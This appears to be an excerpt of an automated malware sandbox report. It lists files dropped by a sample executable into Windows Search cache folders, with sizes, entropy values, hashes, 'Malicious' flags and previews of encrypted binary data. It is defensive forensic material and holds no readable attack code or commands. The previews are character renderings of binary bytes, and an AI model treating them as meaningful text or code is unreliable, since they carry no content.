Preview:	var WJ.;N.!t......@Rr..._......3,~...PAe...J......t....uPA?xz.......0..n.F.....L.H-B.....M..O.Sq.-".....y.y....t.)..9j}./,..;t......Ao..DI..x%.k..%...."......4.E.-..o...1..)..,.fcU.....N.3H..?qY..E...#0.o\|.._2II?..L-...){.X`KN..._.....}.`.XM.7.1Fogf]....0..SU{.N.TB.=...Zc.\|...r...]s...."....<.x........,}..FI......-.'"f...sh.......q..S.s..X....:.Fe......}59o)Ot.6.wb...s=..7.}.!s..Fy.b>#.9V[....>Z.r:9El..BU[.-_...Cks.\Dx..9...Gj6EdI..q=.k....R.hO.0[..H..x...q.@.Z...(q.7..y.z..P.p..z..{]..t.cN..m>..........M\|6.8..3rE..x...NG.~I9.4.<U.qb........I..... ..xJ$..@....'.D..V...`...\S..D.).XDC=rp... .!.3.........s.3..ek..T...."...D..0.. u).K3.P.M.....1...&..zZ;....V..F>.'...2..k..Q$..;....sTg.D2..T6<@..c.jrH.;..?.X2<..Z......UO.... ....O..]C.QcVw..z.A....P....%~.Y....8y..S...AJ ....X8c..[.~;.o.......X........DX9.77...AE..-.i.k<m....V..$.....D.qE..;.H...W........4.{...:.T..Z..>...d.......a..^.R."..]...._......6....?.xPr...N....t\.}6...x..a"..z..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\xIW3D5oXL8xIpGjHoiGVJS_B4mg.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	58122
Entropy (8bit):	7.996416280215204
Encrypted:	true
SSDEEP:	1536:E7DoDhzesLzM70lEzmeXTPvgkf7VoxORQstqxn973GR+3LIB:0oDhB3MQOR1f7VoxOqzxn97W83MB
MD5:	A2E5974D17C8EAB84610E4F6121B660A
SHA1:	C0B93750AC781EE8F84B105C8DD9A486E2199F47
SHA-256:	40B743E951AF193041B4FF54C3051394BEEE67B8FDA88A68A81547A66C481EC2
SHA-512:	77C48F4D6EB7E8119CD6D77CD0B5F959C1488BBAB5CF3A55A1E5A8BF6214321CD849AE35A781AED5A22CAD34BE2B49510A91CA31FC4F735CA258117C3D7FE9BC
Malicious:	true
Preview:	var _k....Q.l...f....{.....a.'...3.g...Y.....a';'7.x'3...^\;......G....D.........X-....\|....;..zT...W.p.Q.W....v.G.d.<.HQ.`..^O.ui.]+..u9].........p....?....A.]\|b$..{I.4....rg..e..E......#.^N.{.t.).1......jN,'..g...u.....Z...v...J.../..I./W...`.}..U.R.B<......O...D$?...M...GFsF..#O<.+ !p...T%:..?.k..D;..g..:3..'......Up...4..UyAF.O..M#.J}1.....c1JL.....B..L.'eb 6.uMk......o.. ...D.8H.....5....dR.........,.g..Q.:.....lc..Zi...%D.....!.a......e..lW.i+..S4..S...Q.[.\.v'8..+.n..._...3..iAT.b.&C..5...#`...:...ss....d...u.m..)...\57..K.c....t.'..7....X....\...>.B.L\...Q;.....7....L..Q....eCZ!2.^R...9e.)...2...lE:.R@.c.8;6...y...[.$...qK./n.......y..T.w3Sw...$.....}].....[.o.!+iP...Z5.j}...@P..rY...>.,..:.I..ya.o.\I..{.t%.......0..'.0...cs.B..\|....A...Qt...w..BE0.BkyU...*.=.p.xW=.1+ .:&.7..;...q..W..]...J.yN.\|..%...C..N.<.x!.J...ek.......j....,......H.ymF.C..M+'..OT+7C.....j.U..........Zef.-GV.:xF.o..r..@..rVOy.a..H..(I.q...v.a.X.wq...Z..1.mN..k.y

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\yNwdh0ra_6sDoSuCVMI8Wjl58UM.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	95724
Entropy (8bit):	7.998054870486097
Encrypted:	true
SSDEEP:	1536:H/OcAkX9u82gX6x3nndbLMyynb9bG/eMIzDj3n20IDpDNoPpSOaeiToh+J:fi82gKVndhyZiWZDj3nqDwtaeiq+J
MD5:	191163780D1F9FC1D1B14624282886F3
SHA1:	1C47D66D6C8E7EDE5A7E36B9645059AC0D21CB78
SHA-256:	DA72C09CB4AABC579F95F6F8F55BDB911A2140AAA16CA7C8648E2868648D640F
SHA-512:	DE38071609937EE94C6F67B24F8A4BBC2DA2AE6C1CDEFED68CBBF14E456FC4E628C0B570525786A7A45F0885F19BF4FCBA19ADA24AD45DD73ABECEF42CDCA4EC
Malicious:	true
Preview:	var W.0.,."[ln{M..+.}.@..;.o..pvz.y...$fi..I7i.e..$....O.T............q...&....ql3Xa...n9_..~.:.w[-...^R.D.....=.7.....1.b.."w7.9.J..%....7.vg!. fV.7...XN. .....X..\6...B.eD.aK<...>+..`.#..,.<....Y#...PI.@...b.P-.A.'...$..2...?.j.e..>fLGa..A.x8k..J.r...HP../p ..X.NEW`.Uw.:..A#...G.._~.\|...9ik..W...,..../.......YgWr..~........m.F.1?.:U..<.~6.PJM.4.EB.s.]...x.`....mp.CnL.m...........>.~m,..i....TT..n!..u.g...h..m....D.......B...+.J.(.#Nm1..r.[p..#+......]....@#>..y..]..........._....I4....^t(...........E..O!.}.=.W.t......RV:..T2..^L.$..kx...LrC.s..?...83.P}.5;.VkM!.0i..'..I..(..Z..FVYO.c..`...F...Y.Hw( :.+\|.=../...Dz..Y.=e.....iE.....~...3..#2.g.+.f.....bl6mT...v.......J..m.d....w.2.6O...u..l..HZ..v.(.6e...o.Z.S...QeT...}m....V...>R.A.4n...L...N....G.........1..'........&.$.K!..K..]....-.gi..~Br...s....N.....>I_c...i....E.V.xW....._{..S{........k^.=.nfJ..(......e@..3.pI.....T.TgX!G....FA.$.....W....*......z..5{.B..A...`..0;..x..o[...-4.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\MSIMGSIZ.DAT

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	49454
Entropy (8bit):	7.996231219022654
Encrypted:	true
SSDEEP:	768:OF2reIKIfT4rM6nfGEboGHyzxGEG9Xe+b4Qrb0f8i57E6VLCdofUV:OFwVwJfG96rb4Us8i57JdCdvV
MD5:	3F0657F104479025E0DA23E42AF8A704
SHA1:	8FA58E1EE7FD75001952AEABD08546772621CF9F
SHA-256:	C248A5ADE186F1D8669AA59123E368F62D48EE30F6DEC3B7A554A54F7F570B4E
SHA-512:	4D8E9F3016ED6AB2C2C25851A16CCB98ED8CD0E298AD9FA9542F96B821BC68BC901294A64F0E67AE3DFB4C17DB56A0AC411A2F7C7DC0B085007A1F82139DA082
Malicious:	true
Preview:	.......)}.P.<..,U.f..q.]..#....t.b4a.....=S4..GL..k.]..2..q.....Z,....a?H...E.T.p!.gR..q.xhS......L@.$~.R&.`..K....)@..he....T...M....jE%.........V..m....\z.......6.......=..c..CC'.......X...4.V.....<i.......HE.L..Y..G.i.S..^s;..i.AYO.M..z...v.....q.-Q\.Qm...G...L....).3...............85 ....Xo..T......S.'.....\.J..9....N<.6.e.2....#....7..R...4.Q$%q`c..."......(..b...N...r.".F..b.2 ..B.w.z>V.Im..k<.....@>.Vm..IJ=+e.]4PUM....W.V..N.Lo.F....8;.`%a]K.N......;Ejdk.j.....!h..-O..H?..t....\|_.<.C)Xzk)$..x..C....v.m.....i..{.x@..).............3.8.......v.......s.b.w..O.n..... }C.N....,...G...,....K.$.^O._.D..C<0.Z..E.6.GtY.c..BXl....(..a.F.J......^....2.O..M...W..H..O.'vx.6a.&.....=.<YyFd.r\.R..,.~H(.dI........=..._.g\|g.&...vD..._..\|J...B..f.....,({..{ x.S.D:D..F.SUJlGr.~.e....iR.a.8.4.: ..pl5<......>4....e......T... ..$._..9.."....."O..>.%9..=.%a.!cM3. k(.H...Wk....../..~.1.fY....j.N.?..I...<.R..R...(.g...8.{.._.c2...0W........H=.E...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\EXADWHXN\www.bing[1].xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	48706
Entropy (8bit):	7.996607956425758
Encrypted:	true
SSDEEP:	768:N69WVIYeltwSyCdRPHHjI2zfE1mXs8uzQU/SdjvgmkQchPJlsRgeQS7Fn1peqIDh:N69AEtdRPnjIpQ8H0UIsrvhsXz7F1qpL
MD5:	31A73BD36EBFF943EDF7F6565E00D46B
SHA1:	9D201A262DF2D87A3603CADAB2EF10C462B7AEE3
SHA-256:	C0578E90E8FE7BEACBDDD260C1E1E6CFAF46812BC6D5033BFDB5BFDD0BB4F0F6
SHA-512:	6CBCACACEA4F6D45987CE27AD708A68AB7EEE304FFCF4ADB2CD27853818B76C9E2239D639B68A5C91DD94CBEF69230D0C4101E5303841EDB8177D80FEBE08928
Malicious:	true
Preview:	<rootc..c..:G..6.n..'.gb...F..........x././..e.h...u..C!XQ%......L........,,.....wN.@M..+r._......`O.......p..5..$.YY09.4......0......)4.)...C,....&...r.E...up..iO..[..9..#W.....w5T...4..h$.4...S.L.?.8.p....x...`=H6.....Y....j.q..y.':,U....,].9..p.UF.SE.{.sp.3.sE..A......E.zQ...6;.......[=....R.}.y..e... G..6.L.'..6...l...9-}...?sJ........@#..i. ....].Z.~..d6#..k)R....jH.JU\|>...5..O...4...!....@M....n....(..}aK.hq"bE...4...j+<-...}V...o..\]=.x..{!....Mk.f..#glW.b..Z...@.Z.v.<.G....Ia..T.0..h..`...9..Z.]....<w..\|.H....6...`.]."....~iu...}...2...Ln..v9.G.eN7...6....].Lf.s.0{+...K.T.8...>n.I.....^..Z.O.X..P./h...J7_i).....K...R.9.....dV0..9$.[cU.C......9....u.P\.X.,.gt.......5%.@....`..x.6...Q...I.....u'.F.2...$.......UR.-$..ZX....3..:b..#..g.Fa.?....J.V.#4......E^..G...-j..k..S...4.>...........$...H..&.R...k.D....mje..C:.A....g.f{...`ti..\|X...}.6N.......9*..N.8O./..th2..j.Xzmd`6.B.......7?Y.-..rps...wq[....F@.=.}d.Q..../v.........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3186603341211023
Encrypted:	false
SSDEEP:	3072:ICloLBECJOAwciLmtivxp5454lK1m32++JQkQntml4FazPPEe5dhaPaA:hoLWCJOASome4lFG5JQFmCF2PzO
MD5:	94F50DEC8B1F59BA4CE72A16C6550095
SHA1:	A2D26A93129CA4074C42536BE45259F17634F55A
SHA-256:	F79FC4DE847D4184A5609C155E5A08D570A9BB84E607CAC328439F445F7BA7D0
SHA-512:	029C5A8CB415BEE6BE81D9EF46B84B76FC35ECB4EAFDEEBE9AF7C8882BBEAEF1F7851E5DF0C0584D7DEDED14CDAA780674C544BC8B05EBE1AD32D17A87EBA411
Malicious:	false
Preview:	q8......{.:....pl....?A.:....h....GR.,..^zD..7..+......(....R ..^.Ka.....u..Q\Oqf,.V.a.....I.dZM...-&...G9c.t..H2S3....=@.wy..=..T.....0..^....._f..'...f.GElVM..cp.<..9...h.a.....`2.f^P..Z...6B.]...C0p".3..T......I,..G.(..4.......#c.\|.>....i..S.\.+lxD.%.&..lZ...}..b&...V4H...;?.(..)w_.,AQJ&\|50t.OW..b.b`....F@)..=).l.o.Q.B.0...q....qx...{AS..F..j....h\|W...1!....L..s..'......+.C...F...@-.......H..(../..?..V.A.yFV.~(t...\|..B.A.....CH..0>.....-x...:2.Sm..q..O..B"....G}:#.!>V.I.Y...Th..@+.+R.\.?.B....e..#O........./C_T......<...x!_~V..?...x&x....V...~.....a.........m.U..].b.g.i..._.Q...Q..-$..k.:.:.)z......;.M.~M'...d......X...B7z..b.O.^>.. w.o2........H...(......x.....C%1.c..5............\bj.i.m.....l..O{.>...3.9A.O:...U.bN..{.F.lX....\|...P~^Ig(3aR.r}.y.,.G.....X#.A.p>.....K6...}E.SL..@w....u..u..d..6vF.j.f.<p.({z.....9".b.\G......$@...d...)!.'.....":.-.!e.....x..)GN..........G.2...\|.].......l'7V.3..A..u..O......`^{S........d...c....dG...{D.V...1

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	mc68k executable (shared)
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987995209291374
Encrypted:	false
SSDEEP:	384:dRlsM3JO6mOpj/9Z0CmtXfrqFN1zaRCsXcl3AiLLe5AT:DjmE/9sXfuX1+2+y
MD5:	381CCDC7D67CF12C68530450E8BD2879
SHA1:	C081338F42D901DBCC712CB5C80B3A4E726E06FD
SHA-256:	59D53ADBF3DA82A2D2A33C773067D1F637D133FDDF3A958C0380A5A504E3945F
SHA-512:	0F000AE5B63BBDD7BDF161DC79AA3026FC0F14B3C34B6A4A24D097C713DBEDFE40179CAF4CAE2C0A14DFDEE5B4FC00B3314A91BEDF8B940F7179763B313E77A8
Malicious:	true
Preview:	.QXf...R&...L....J..YI'..b.k.2..:.s,k.!k......R..TG..:G.c....M.....,D..p.o^/.P.x...............B.m. .....T..........%.;..x...3o.....r.k.\|.C..b.G.....N..PZu......../i.......\...l........1ebB..Q.Ei<...0\..O^.Pq.H..N.s..^.my.....F..K5..K.!..@....4.lN^.]...'..:.[Az.hV..7.6..D.[.!......8.^.^R..M........@..!e""}...m..P.....c.n.;L...JAb3..>">G...!.t.-~oL.r.~......u.....D.Cj..Yf2.d..Y......^.B.9b.mQ.....o=l.....`...S92..6....-Y.....e?.Zw.....$..WaA...Q..F\|....%.y..H...}&.q4\.L.....:.{..T.U.#\t..1.\|....F...ra.BD.4....El(...&...>..].O.4R..f...U.[\G..x..y....Y..?\...'Ua..B=.<.....{..0UFC<c'...H@..bS.Oo.j..E.K.<\...Q..ED..._T..[...+.....3.K.G...Ft5i.......l....?...qx....X@..$.b..h..4..D.'..V...@.EX..g.t....n...D.^...D..9kB.j..,....;z....3u!.F...BW-Y.-...l.:.j...C.Gr..d..w...S,.w...ud%a..*.E-.+..<0..b.=X..F......m.=..r.Y...-..%`[..\L.lH...Z..`....+.I...6....K?.....9A...AW......ar...Or........JE..}.....I.-$d$..5..d...%...f.......8>0..,.n.3....=......P.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.0850158445771332
Encrypted:	false
SSDEEP:	3072:RJZqtBuqSIX52UPYYm1CQp6zttxTXa+Rb5sPXKIQqjAqaxY+ax+:RTAutW2OYCQQ3dlS6I7fE
MD5:	2759CF30D696215D3B5200C1F175E61E
SHA1:	52EF02C3C5ABA0FA4320249191C1026B71EEC362
SHA-256:	64BA14B4CB6ED0CBFE5D43E2343CB4A33BC6AB8F168E087C7E44FE6A06DAC1BF
SHA-512:	4C17EB3C4E7530BA2883636C63AF65572D7241EFB4B0372703B8AFB157FAB262A3A10C6E8B5505A8228F8A803CB41E6F8AFB29D85786344B7C443CEEEB159E1B
Malicious:	false
Preview:	.jE..0.f...................&.Z.........I.c6,.6`". .....S4[..L.yVv...0[..co..#...Q....I.Y.K....^B.S.......uh....!#Ve.F...@Ls>K....G....D.9.{.w.).!'..Gryc....Z..1.Ic.".o>..."..}.-nyg......%<...:..Z&:..^....h.p...o.....'0>.....).5.i..s3m..u.(<......B!...d........"..DU.2.[b.H..cB.S..)..Pj...r.I.3p1z....=Iy.+....o.E..lY.\|.V8>.....s...W{zk.2H.k5.p.......y..7.xZ'.DD....\....(!W.......jT.p.(0G"1.\\..P7.8:.5..#.8;@r.j:dl...B.. /.3..\...+f.h....Z. ...G\|S#wYG..a].x.h.f~(1..~.@l..T...k.'N.....q.D;.5..W.$..w.W.k....?..5.h.8....i...Bpb..X...~........I.#.gn.I.<..<...d/D....{.k.@...V.u..f........P..ay..o.....RzY.....6.....M.m.P%..0.<....$6..K..k3l@....)'....l...@..28.......K..l`..v...oT.U.$.]k#t.`.".!..fh...j.8..uU&,u.y.o..;d[k.EM..I....'....2(-...6..$U.a.......%.y........Y.=1...u..p..Qo..^%n.}.....}L._..bA4..........t..Y..y..Kp...z)M.hh$...1......?FB.k.A..%..kk.No....CE..Fv"......K0m..{..........Z...........+:".......1....-.E....]...m.m..O.9h

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989895699811216
Encrypted:	false
SSDEEP:	384:0mZwmrCWfCk8FMA++EN/DifPc03+1bJHz+0BnscMhTlVWs:9wmWWfCkOMA++Lf0032bh+0glVWs
MD5:	EF54331F0B94F495C34D1BB9F8DE9461
SHA1:	91FF6BE4ED269F1878DDC20FA280DF2C82E009D2
SHA-256:	7FC0CD7D01649A3C3EF54D170821241A431758A9A09F99F819236B442CF64A02
SHA-512:	4C29E28EAC0673592F95DF2EAD1B8FC3F0B3044EDAF962CDB6335C94B43AD61E48AC0180FC2E8004BCEB81CDC373963E57762541ED3E961C83C41CC93418E077
Malicious:	false
Preview:	a. ..i9z...].C...vZ.J......Q...%...e..,........o.O..91.YN.k..%..y.6._cZ.p.........Gi..x.p..&.f(.=L......0..(...j...7.....B.fL....n.$5O.NnqX.[x..G.Ke<....I....hF'....0.bk...0D.......o... ..d[d..f..:.g...E..x...x.D..;...21.l...:.pFKhK4.i.].B.X..+...A.....Dl9@.s.........a...</KQ....].8..G.G.)Y....D.ph..E...l.a....c..<f..O.b.>T/....2x-..B../.L....J.WM....\l.4.....R...(..x@t...v.m1....G6.RU\|...A<.e.U..f`.3......<.h...Mz...Vb..B.cp.H..5......A..%.....y...X..uy.T8].VQ]..l.s.q.2..^.. .(6...>.?.vA......&'...p.....Gn...o..8.!.O=6...9.s}......f...P...7...P.vl-.q...E..#.[s+...8EFfi...{.h..4~.;...l..!.u.....K.zt.w.D.;....Y:....~.. 1...I.y...Ov..n..........e.wR...<.P...........A..i.T..G...h..3Q-..$.G.i4p..wI.t......[\ij..3V.......Y9[.U.D."n.q...r.%n.......3../.a.,.`p...V0h....g...z..+.$;..0f.\|Bh0.Zj$.a;e1...m..h.K{J..G..E..vF.h;....<E6e...@.R.-u..'.u...#..,8..e).{..IhE...H.<E.`2B...+.....e.K..s. s.K......_.P06...+.Y...Mf-...E..s..^...*...l}h.b

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980651388427325
Encrypted:	false
SSDEEP:	192:EeAU9qan9GVfA30598xEMGBn/S12FO4rKNX34GBrUAmNIbY:5XP9GgRuSIFOfN4UUpNj
MD5:	6635C7417675329E54B4A497B13127A2
SHA1:	B2AACEFDA92194B6DCFDF0AD415A337FB05ECFA8
SHA-256:	1F990F5CCF1B5A97014EE62B46A24BC24431A2716B7A46032F268C4B8507F75C
SHA-512:	DE59DDA858D6F318363EADB41E404946862597CC54F0DDB50AB389B81E624542BBFFC4A4FED9DAAECAC38C4E49BE8700AFB44D533B5AB46DFF02548C93C23650
Malicious:	false
Preview:	..Z..)_s......y..~.)....I..P.a_$.a......~...^...j.......}%.!.)..,....9X.=...L'k./y.....X.&....../..Zt.4....3.%X....2.......L7.<./N.t..$.t...b.yH.ko[.Nc..2.X..f+C.......^~T...../.L....W..2R.....Ug..Bk..l..B..Z....;If......;..H.+.WI..xxrV..;.zwK<...?r.\|KngOa...tEqr....b...Uh=l.zn2!=...^:Z...[.J.....9C...fB..+..Z...b.5..r~.;Y.cY........$..]9...!...GU.w.<.......).Z.7~)q...g.......]j..>N...)Ve..,b.R..S_..3.u.7.....&....gS6B...-.@R:f.h.r....U....~b...K&qK#`q/......6........z)............K.p.WA....Zt...gsnnr.(.2.)jz.-.u..8....F...X..<.VRJ..^..D...Z"vdN=`T]./...^.s....j...LD..5 ...W...J=.J...].F.).H.8..*X..\|F..D.LD.1...?..;~.:...R.P.2...K[B...9......1$...ic..(.O....g.B.].}s..Fb.W..HA. ..M3..z?.qO..R..!...[.B..b...%o..[..$R...q.E..H...xR.....Nv.....@...a.w;)0S..h....f.X.GiY-.:.4\|....7j..y..o.\|B.8...,P._v..2....\..O....P!..4...0.B..._.O.t....iC.TG-......'..4....(f...ht.. .YXK..y...>..2#.G4......r.Q...._.Tl../...a.d......]Q";......(...H.o...N...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.245242281160472
Encrypted:	false
SSDEEP:	3072:AgNdEojI7eSfJPv/VHI8zf0fp9MNlkvCFkedDi3B3F4rl6EsI9Nu:A22AwVhP3ZIsMfp9MGVedDSB3Orgf
MD5:	B757BA9F93D51ACE9A565B0813C33946
SHA1:	852953379F5F454BCFA9B08AA2ACAC6C0C26C203
SHA-256:	9B758B1496CA6653BF0C3B488A17D73662FFBF6A07DC22BD666A9799B9FEB9AB
SHA-512:	18E18F67B955D31F2732B95212B657790A11F9E179202FFFC4E9CD7E6212D0FE1BE606A60F0512C9139730799F4162328222526CB43EB587ED4753F718D6CE77
Malicious:	false
Preview:	;.EU.a...}-.@6..V.......^Up...OAq...+.m..Jt.ym..+.DiM..\...G...y.b.y.N.4..k.....[.#....(P/ ..._k\|..1..)...4.D......8..~.L.-Z.......h..q...H.aeT.L.....hs.5H.O2!5...%...'...ZL.b...$.u.w.._....~..vd..O+jxY....s........+1..F..},..7.3.:.n....BS.od.a...v..<6z..P4F.14............C..t....+`6. ......l.x.-. .8....T..9.;m..o..F.dwO.-..A.......g..aB......w....d.~....Q...J.........~i.....W.].........q7TXs....6....#".B.i...,.y{...z.Wc...O!..........`4....P...b.^..HS....n..R.D4V.j.?NW.3.N.....!..l.....mc.....h.......-..1..}.[w........N.3..#{..n.:.z..}Dx.....N.W..../..S.......IP.'..}7FFdv.:...Z@N 7........ .....lK,.....;.}~V.<.;.....5...Q.J..2...[Pa...sO...g....XNC....^...G..y:....:.<..`.....+.C."1Vg.l....E.....4.RFj..H.W...x..:P...r.....d...lWK.k..Qcv....j..t.........#)MPGF..m!..2A.H.1.4.s.?NC.\|"............^..2.."N.4."I=.....m...M....<...2...j....$M....x]..^R..*........7..#.p+..y}.JsJ...........j.'t..;s.Z.....!...(.0..S;...)..~......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2073918918062216
Encrypted:	false
SSDEEP:	3072:+R+I9v7beOcWHwt18cQzPYxFrgIihcNb3ik5G7+Eu/eonpDjpq2OytEMgNymof:+UIRXpTH0SYjr+WfCumYfYyt8e
MD5:	48414732B0F8643FD820045B389D6DBB
SHA1:	75A94E675CC5A3132042618FA6D6C71034209187
SHA-256:	C3DCDDAAF87E67A04C26E7047912C1FA33B196F589DAFECC07FEC279F8AF52EC
SHA-512:	818BB448811E3B68FBE0EA6B665E1B40E2F712AF5E17401D8E20A332383F4EDA28F4650BA80D8FE67FDF4DE5AD3863233803755BBD883D74405E62602E57E4B6
Malicious:	false
Preview:	........j.?.=.......I}zd).g......u..)."..Y..6...5..A.v/.x)..O....>...y.[..KA16.b.W.....g.m.t.R.]...K@l8.f....K..\,...20p.vS;..um.~...'k.....Z.......m.....'.....p.p..kq.~.6..m.G&.bg..4......o<i.....1....r..n.......x.\|5.0..r.E~1.q....v.2..-Wh..6&..i.......T`mjf...0..EF..O.i5ea........1...6c..a:%...M.....a."RM.B..K!.8..w}j..o..m.zdsJ...i\..J.D.n?......Y..pD..G..F.=...^.y8..V.g.z..l^i........K..).(F....S..H..U...7.....?..\...C].\...N....sP&...x9[9..'..H.'.V..Q.D..5...PD.A.Kf..p...Vs..#c.;M..]_N...c......,}.0,M.RF...3..d5...y!........'}./.)...8m^.q..?....Nt_.....^t[,j=.T....a....G.?.f.,p..S.sl.,8...$&...0.i%..o...k..9Q..JC.R`i..r.6...d...t.o=.S.&.%.........l....\|..8.....:m.l.R.N.A]L.....Fq..N.%.}..d.E....".a......a.K....{$\|....P.B..B.NV..a.6...VJ.-}u....E....\|.....t..U.[4`...fu.oFz...8j]..A.&5.&o.y2.............b%v:...V.....t.@....^....l}....dg..ny.uv.k.\.v 0..:.2..\.U..x.]..1.N_.c..'....\|...Y3%E)e-...K....#`R...Z.*f.(0.v.K.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207377374004271
Encrypted:	false
SSDEEP:	3072:E2msbCOQKavsOaXPSvtFiDwpS71vve55/Yj8ohLHdt5r:d+Oh1O6PiFiD17g5Qj8oZF
MD5:	F787A0BF015195B9961002BF2A42EC53
SHA1:	1A3E77E97C57896E00E61D4FF428AAFDAE59EFA5
SHA-256:	7D1A38588A629A1CFABAB77BFF5B9146DE7B75D90A0163C28306C3E36B5C08EB
SHA-512:	3C39B76A5A96617AC9F2861E5A663C32C79A2A905B54E4E3569B37D699631B9FF21A59E3A5A3D4E3F357EBB56B690B49B318247279AC51FEAC2CEB9331DD55A4
Malicious:	false
Preview:	.....b..F.^...2..[W..>W9.....&..&....m...A,.A.M.}5J...-7.=...7T...[..G..W..L;H..."mE!.D......6GlL-..dmF.W?mf.s..7....F...a{.s..w...y..<.#..L.7)..~..........Px7.0.&...9j.I-...7.x/....J.E....c4...5$....oB'..&.p..[=.+D.y6....m.Z...K.......c.+ ......Ot...rL+.......Vwd.n..-....H^(.....y.:T.}\.-O.0..D4...lX.,q .m....."P}=[...q.....a...A0..6.$...lL...S..&....A.DF..4....$..J..:..i$e..+..AH..........}!U>...N......0.'.B...]....q.\).}[...E......Big.....d.5N.W.Pa..4.?.%!.wTu.j1..x~.8%..[.R....Z..\|"a..S%.k...[...CsN..3..g..0.G.3%ry.$.i..C.F<..pS1....0../2jt...U.D......1v..]W#.W......Q..o.%.p...........h<.b..8SVK.7..3.I..._.rc2...S..(ao>.&.R. N(...?Ch.z.N..[9.<...=.y.T.;G#..0T.Z..k/T...`EQ....X.}.$.C...}..{.b.........-[..0F.u,z......"=X..PZ.a:......%.{.\... ..F.....I..ZR.. Cx-!b..'..VJI..L...../......hmFy.&yx.os`..B.Q.....FXs..U....}.....\.VV......+"h:...T.X..W.-.n..&..c2......cicf.P.:....4e.oL.....8..[.......R.R..s!.T,#.../.Rv.q...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2072926283712104
Encrypted:	false
SSDEEP:	3072:MVN/mGsl/4JrqVOob6p3T5nfRuROIIxEkqot/hxUdjlw+3:MVN+Gs4rqV7y3T5nfR/k4/roO+3
MD5:	B9F92075167D34360F9E7EAE7EBF3482
SHA1:	9AAD506121DCEF2CD185633E090D83D27BC23022
SHA-256:	B4D4F525A4982EBEF697E230248F11A155C8EA73DD1B1E2F6155CFE847A4F2CB
SHA-512:	88BA7C1E01B2239EC313ED917E173F4F363668620D304877D1DD39EA757FD7AB9010151A8A6A6A10B4BC9696E6F22A76104EF44F4D1F455A1B14B2B03343B7CF
Malicious:	false
Preview:	......[.v..j...g]H<..Od.(av...E[.....}H`..Wg.2.O9..8..tV..70V.6....v!..V.X.#.u..u.Gq..~a.Y`..E.'.=..!.<......E...I2qP...... "8.Ik...^...:;f.0n.T..38b..u......@j9.p>.K...8A..`..j....^~..#...\|>.(b....PL.5.%.;-...H...uR..>XrD..W.z0X.......&.`..y. .y...h.$rO.rX....?...k...\.4z.,.+.~^!.'.l2 .......@V".-{.UJ.5.c.w...kx..X.\{...._.../...k.G.k93..j..s:.. txj.=}.3.P.z.:.;4y`...(...F.>.....[.g...G."X..#1..Gc.......vv...^...:.J3..J,. k.C..$..)g.....T(:m.P..t/..L0.^........."..#.=.....9..@...O...&.....$i..TV...O!....M.T#B\....7<.....q.u......0XL..n.7U.r..X..t..PbV..x...,.)n.s-V;..'...c....g....w..o.q.M1.=...".HX..B.)....&O.gV.V.Ce....~..O'Md%..e......t.BWH'..>nnT...}E..[n..$.e..D....!..Pl3p.?.mx2o..>.y....@*.>......u........o.qQ...&.........7.R.........b2...-.4x........u. 0...~..A.A.V.\{~....kT2..RA..4.'...)6..@..f. 'e(...mY..{+..\|..i..]..tZ..h..l...). W[.V&_....A.......+HN\|UqY.9$.\..p3...^.;U5.....Kl..V.H;.0...x..}.G..L.G.....n....I..x..KM..B.0C....t..

